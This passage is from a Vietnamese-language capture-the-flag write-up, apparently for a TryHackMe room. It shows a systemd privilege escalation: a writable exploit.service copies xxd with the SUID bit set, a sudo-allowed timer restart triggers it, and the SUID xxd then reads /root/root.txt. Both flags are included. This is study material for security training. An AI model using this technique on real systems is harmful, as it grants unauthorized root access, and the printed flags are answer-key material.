└─$ ssh -i /home/hungnt/.ssh/id_ed25519 comte@10.10.23.113
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
...
comte@ip-10-10-23-113:~$

user.txt

comte@ip-10-10-23-113:~$ ls -la
total 52
drwxr-xr-x 7 comte comte 4096 Apr  4  2024 .
drwxr-xr-x 4 root  root  4096 Jul 21 05:51 ..
lrwxrwxrwx 1 comte comte    9 Apr  4  2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25  2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27  2023 .cache
drwx------ 3 comte comte 4096 Mar 25  2024 .gnupg
drwxrwxr-x 3 comte comte 4096 Mar 25  2024 .local
-rw-r--r-- 1 comte comte  807 Feb 25  2020 .profile
drwx------ 3 comte comte 4096 Mar 25  2024 snap
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .ssh
-rw-r--r-- 1 comte comte    0 Sep 27  2023 .sudo_as_admin_successful
-rw------- 1 comte comte 4276 Sep 15  2023 user.txt
-rw------- 1 comte comte   55 Apr  4  2024 .Xauthority
comte@ip-10-10-23-113:~$ cat user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}

Sudo Permissions

Sau khi vào được hệ thống, chúng ta nhận thấy rằng user này có quyền sudo để restart service exploit.timer với quyền root. Đây là một chi tiết quan trọng.

comte@ip-10-10-23-113:/tmp$ sudo -l
User comte may run the following commands on ip-10-10-23-113:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

Privilege Escalation

Trước đó, chúng ta cũng đã phát hiện rằng không chỉ file /etc/systemd/system/exploit.timer có thể ghi được, mà file /etc/systemd/system/exploit.service cũng vậy. Chúng ta có thể lợi dụng điều này để chỉnh sửa service, nhằm copy binary bash và thiết lập SUID bit để leo quyền. Tuy nhiên, lần này chúng ta thử với binary xxd, vì nó có thể được dùng để đọc bất kỳ file nào trên hệ thống.

comte@ip-10-10-23-113:/tmp$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=

[Install]
WantedBy=timers.target

comte@ip-10-10-23-113:/tmp$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

Khi khởi động service, chúng ta gặp lỗi vì cấu hình chưa hợp lệ.

comte@ip-10-10-23-113:/tmp$ sudo systemctl start exploit.timer
Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.
comte@ip-10-10-23-113:/tmp$ systemctl status exploit.timer
● exploit.timer - Exploit Timer
     Loaded: bad-setting (Reason: Unit exploit.timer has a bad unit file setting.)
     Active: inactive (dead)
    Trigger: n/a
   Triggers: ● exploit.service

Để khắc phục, chúng ta cần đặt giá trị OnBootSec về một vài giây, để service có thể chạy ngay sau khi khởi động.

OnBootSec=2s
comte@ip-10-10-23-113:/tmp$ sudo systemctl daemon-reload
comte@ip-10-10-23-113:/tmp$ sudo systemctl restart exploit.timer
comte@ip-10-10-23-113:/tmp$ systemctl status exploit.timer
● exploit.timer - Exploit Timer
     Loaded: loaded (/etc/systemd/system/exploit.timer; enabled; vendor preset: enabled)
     Active: active (elapsed) since Mon 2025-07-21 09:39:30 UTC; 26s ago
    Trigger: n/a
   Triggers: ● exploit.service

root.txt

Cuối cùng, sau khi chỉnh sửa và khởi chạy thành công, chúng ta đã chiếm được quyền root để đọc file bất kỳ.

comte@ip-10-10-23-113:/tmp$ cd /opt
comte@ip-10-10-23-113:/opt$ ls -la
total 28
drwxr-xr-x  2 root root  4096 Jul 21 09:39 .
drwxr-xr-x 19 root root  4096 Jul 21 05:51 ..
-rwsr-sr-x  1 root root 18712 Jul 21 09:39 xxd
comte@ip-10-10-23-113:/opt$ ./xxd "/root/root.txt" | xxd -r
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|

THM{dca75486094810807faf4b7b0a929b11e5e0167c}